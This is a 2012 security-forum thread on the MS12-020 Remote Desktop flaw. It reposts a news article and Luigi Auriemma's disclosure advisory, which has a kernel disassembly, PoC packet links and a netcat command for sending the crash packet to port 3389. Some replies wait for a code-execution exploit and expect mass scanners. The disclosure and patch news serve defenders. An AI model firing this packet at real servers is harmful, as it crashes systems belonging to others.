Nytro Posted March 14, 2012 Report Posted March 14, 2012 Microsoft: Remote Desktop Protocol Vulnerability Should be Patched ImmediatelyBy Brian Prince on March 13, 2012Microsoft is urging organizations to apply the sole critical update in this month’s Patch Tuesday release as soon as possible.The critical bulletin – one of six security bulletins issued as part of today’s release – addresses two vulnerabilities in the Remote Desktop Protocol (RDP).“A little about MS12-020…this bulletin addresses one Critical-class issue and one Moderate-class issue in Remote Desktop Protocol (RDP),” Angela Gunn, security response communications manager for Microsoft’s Trustworthy Computing Group, explained in a blog post. “Both issues were cooperatively disclosed to Microsoft and we know of no active exploitation in the wild. The Critical-class issue applies to a fairly specific subset of systems – those running RDP – and is less problematic for those systems with Network Level Authentication (NLA) enabled.”“That said, we strongly recommend that customers examine and prepare to apply this bulletin as soon as possible,” she added. “The Critical-class issue could allow a would-be attacker to achieve remote code execution on a machine running RDP (a non-default configuration); if the machine does not have NLA enabled, the attacker would not require authentication for RCE access.”Ben Greenbaum, senior principle software engineer for Symantec’s Security Intelligence Group, agreed users should pay close attention to the RDP vulnerability.“RDP’s purpose is to enable remote access from the Internet, but preferably to an authenticated user,” he said. “In this case, a malicious attacker can potentially take complete control of the computer. Failed exploit attempts of this issue will likely result in the user being confronted with the blue screen of death. If an attacker can bypass standard memory protection measures, however, they will have access at the kernel level.”Those IT admins who use RDP to manage their machines over the internet, which is essentially the default in cloud-based installations such as Amazon’s AWS, need to patch as quickly as possible, Qualys CTOWolfgang Kandek opined.“If the patch cannot be applied that quickly or the necessary reboot cannot be scheduled, IT Admins should look into the available work-arounds that function immediately: protect the machine with restrictive firewalling, access RDP through a VPN service or switch to Microsoft’s NLA protocol that is supported in newer versions of Windows (Vista+) and is not vulnerable to the attack,” he said.Besides the RDP bugs, this month’s Patch Tuesday addressed five other vulnerabilities: two denial-of-service bugs and an escalation of privileges issue in Microsoft Windows; a remote code execution vulnerability in Microsoft Expression Design; and an escalation of privileges issue in Microsoft Visual Studio. All those issues are rated ‘important’ with the exception of one of the Windows’ denial-of-service bugs, which is rated ‘moderate.’Also today, Adobe updated its ColdFusion software to address a vulnerability in versions 9.0.1 and earlier for Windows, Macintosh and UNIX systems that could lead to a denial-of-service attack using a hash algorithm collision. The company said it was unaware of any attempts to exploit the vulnerability in the wild.Sursa: Microsoft: Remote Desktop Protocol Vulnerability Should be Patched Immediately | SecurityWeek.ComVia: Microsoft: RDP Vulnerability Should Be Patched Immediately - Slashdot Quote
Nytro Posted March 17, 2012 Author Report Posted March 17, 2012 Securitytube Speak Up: The Ms12-020 Fiasco!Suspicions aroused as exploit for critical Windows bug is leaked (Updated)http://aluigi.org/adv/ms12-020_leak.txt Quote
Guest expl0iter Posted March 17, 2012 Report Posted March 17, 2012 Mda.. oricat s-ar chinui Microsoftsa rezolve vulnerabilitatile din windows, hackerii tot gasesc o metoda de a le exploata. Quote
Nytro Posted March 18, 2012 Author Report Posted March 18, 2012 Full disclosure ####################################################################### Luigi AuriemmaApplication: Microsoft Terminal Services / Remote Desktop Services http://www.microsoft.com http://msdn.microsoft.com/en-us/library/aa383015(v=vs.85).aspxVersions: any Windows version before 13 Mar 2012Platforms: WindowsBug: use after freeExploitation: remote, versus serverDate: 16 Mar 2012 (found 16 May 2011)Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.orgAdditional references: http://www.zerodayinitiative.com/advisories/ZDI-12-044/ http://technet.microsoft.com/en-us/security/bulletin/ms12-020#######################################################################1) Introduction2) Bug3) The Code4) Fix#######################################################################===============1) Introduction===============From vendor's homepage:"The Microsoft Remote Desktop Protocol (RDP) provides remote displayand input capabilities over network connections for Windows-basedapplications running on a server. RDP is designed to support differenttypes of network topologies and multiple LAN protocols."#######################################################################======2) Bug======The Remote Desktop Protocol is used by the "Terminal Services / RemoteDesktop Services" and works at kernel level on port 3389.There is an use-after-free vulnerability located in the handling of themaxChannelIds field of the T.125 ConnectMCSPDU packet (offset 0x2c ofthe provided proof-of-concept) when set to a value minor/equal than 5.The problem happens during the disconnection of the user started withRDPWD!NM_Disconnect while the effect of the possible code execution isvisible in termdd!IcaBufferAlloc (or termdd!IcaBufferAllocEx onWindows 7/2008) after termdd!IcaGetPreviousSdLink returns an invalidmemory pointer, the following dump is taken from Windows 2003 Server: f761887c 8bff mov edi,edi f761887e 55 push ebp f761887f 8bec mov ebp,esp f7618881 56 push esi f7618882 57 push edi f7618883 8b7d08 mov edi,dword ptr [ebp+8] f7618886 8d47ec lea eax,[edi-14h] f7618889 50 push eax f761888a eb09 jmp termdd!IcaBufferAlloc+0x19 (f7618895) f761888c 8b4618 mov eax,dword ptr [esi+18h] ; we are here f761888f 833800 cmp dword ptr [eax],0 ; or here f7618892 7527 jne termdd!IcaBufferAlloc+0x3f (f76188bb) ; must jump f7618894 56 push esi f7618895 e878290000 call termdd!IcaGetPreviousSdLink (f761b212) ; the new ESI is returned by this function f761889a 8bf0 mov esi,eax f761889c 85f6 test esi,esi f761889e 75ec jne termdd!IcaBufferAlloc+0x10 (f761888c) f76188a0 ff751c push dword ptr [ebp+1Ch] f76188a3 ff7518 push dword ptr [ebp+18h] f76188a6 ff7514 push dword ptr [ebp+14h] f76188a9 ff7510 push dword ptr [ebp+10h] f76188ac ff750c push dword ptr [ebp+0Ch] f76188af 57 push edi f76188b0 e8b9fcffff call termdd!IcaBufferAllocInternal (f761856e) f76188b5 5f pop edi f76188b6 5e pop esi f76188b7 5d pop ebp f76188b8 c21800 ret 18h f76188bb 33c0 xor eax,eax f76188bd 53 push ebx f76188be 8d7e10 lea edi,[esi+10h] f76188c1 40 inc eax f76188c2 f00fc107 lock xadd dword ptr [edi],eax f76188c6 ff751c push dword ptr [ebp+1Ch] f76188c9 8b4618 mov eax,dword ptr [esi+18h] ; the same value of before f76188cc ff7518 push dword ptr [ebp+18h] f76188cf ff7514 push dword ptr [ebp+14h] f76188d2 ff7510 push dword ptr [ebp+10h] f76188d5 ff750c push dword ptr [ebp+0Ch] f76188d8 ff761c push dword ptr [esi+1Ch] f76188db ff10 call dword ptr [eax] ; code execution f76188dd 8bd8 mov ebx,eax f76188df 83c8ff or eax,0FFFFFFFFh f76188e2 f00fc107 lock xadd dword ptr [edi],eax f76188e6 7506 jne termdd!IcaBufferAlloc+0x72 (f76188ee) f76188e8 56 push esi f76188e9 e8382f0000 call termdd!_IcaUnloadSd (f761b826) f76188ee 8bc3 mov eax,ebx f76188f0 5b pop ebx f76188f1 ebc2 jmp termdd!IcaBufferAlloc+0x39 (f76188b5) eax=040b0402 ebx=e1492090 ecx=00390080 edx=00000003 esi=040b0402 edi=e1438240 eip=f762888c esp=b832f9d8 ebp=b832f9e0 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 termdd!IcaBufferAlloc+0x10: f762888c 8b4618 mov eax,dword ptr [esi+18h] ds:0023:040b041a=???????? ChildEBP RetAddr b8b399e0 b89c1c34 termdd!IcaBufferAlloc+0x10 b8b39a00 b89c1c67 RDPWD!StackBufferAlloc+0x26 b8b39a2c b89a902c RDPWD!MCSDetachUserRequest+0x29 b8b39a40 b89a8b44 RDPWD!NMDetachUserReq+0x14 b8b39a4c b89a9185 RDPWD!NM_Disconnect+0x16 b8b39a58 b89adcb4 RDPWD!SM_Disconnect+0x27 b8b39a68 b89a906d RDPWD!SM_OnConnected+0x70 b8b39a88 b89a8db4 RDPWD!NMAbortConnect+0x23 b8b39ac0 b89a9d88 RDPWD!NM_Connect+0x86 b8b39ae0 b89abcfc RDPWD!SM_Connect+0x112 b8b39b08 b89ac786 RDPWD!WDWConnect+0x368 b8b39b3c b89a6959 RDPWD!WDWConfConnect+0x94 b8b39b70 f762c1c7 RDPWD!WD_Ioctl+0x1227 b8b39b8c f762c5a3 termdd!_IcaCallSd+0x35 b8b39bac f762ca10 termdd!_IcaCallStack+0x55 b8b39bf4 f762abcc termdd!IcaDeviceControlStack+0x414 b8b39c24 f762ad20 termdd!IcaDeviceControl+0x4e b8b39c3c 8081d5c3 termdd!IcaDispatch+0x12a b8b39c50 808ed4eb nt!IofCallDriver+0x45 b8b39c64 808ee28d nt!NtWriteFile+0x2943 b8b39d00 808e6dbc nt!NtWriteFile+0x36e5 b8b39d34 80883968 nt!NtDeviceIoControlFile+0x2a b8b39d64 7c82847c nt!KeReleaseInStackQueuedSpinLockFromDpcLevel+0xb14 b8b39d68 badb0d00 ntdll!_NLG_Notify+0x14On Windows 2003 that zone of the memory pointed by ESI+18 using theprovided proof-of-concept is ever in the range 040b02??-040b04??.The exploitability depends by the possibility of controlling ESI or thecontent pointed by it (maybe via a form of heap spraying?), indeed inmy quick tests this zone sometimes is allocated and others it isn't.Note that on the post-Vista Windows versions (like 7 and 2008) "seems"necessary to have "Allow connections from computers running any versionof Remote Desktop" for being vulnerable.Anyway I'm not totally sure about this so-called limitation because itlooks like dependent by my proof-of-concept only.The provided proof-of-concept uses the BER integer values set at 32bit(big endian) in case they could be useful for easier debugging.Additional details about the protocol:http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx#######################################################################===========3) The Code===========http://aluigi.org/poc/termdd_1.dathttp://www.exploit-db.com/sploits/18606.dat nc SERVER 3389 < termdd_1.datresend it multiple times in case of no results and note that this isjust a simple proof-of-concept packet to quickly test the bug so it'snot optimized at all.#######################################################################======4) Fix======http://technet.microsoft.com/en-us/security/bulletin/ms12-020#######################################################################Luigi Auriemma FTW! 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phreak Posted March 18, 2012 Report Posted March 18, 2012 am citit, zice cum e posibil dar nu prezinta exploit cu RCE... doar crash Quote
Paul4games Posted March 18, 2012 Report Posted March 18, 2012 tot astept RCE PoCCred ca asta iti va spune ceva:3) The Code===========http://aluigi.org/poc/termdd_1.dathttp://www.exploit-db.com/sploits/18606.dat nc SERVER 3389 < termdd_1.datresend it multiple times in case of no results and note that this isjust a simple proof-of-concept packet to quickly test the bug so it'snot optimized at all.Ps: Dupa ce v-a fi implementata aceasta vulnerabilitate in metasploit sau va fi creat vreun tool sa foloseasca aceasta vulnerabilitate vor aparea peste noapte o gramada de scannere de rdp-uri "Private". Quote
phreak Posted March 18, 2012 Report Posted March 18, 2012 Presupunand ca a reusit cineva sa faca RCE in privat si ca cineva il va publica vreodata.. deocamdata nu exista vreun PoC RCE public.BinaryNinjas | Reversing and stuff…Private Paste - Pastie Quote
Nytro Posted March 18, 2012 Author Report Posted March 18, 2012 Exista pe un hosting chinezesc, dar nu am incercat. Quote
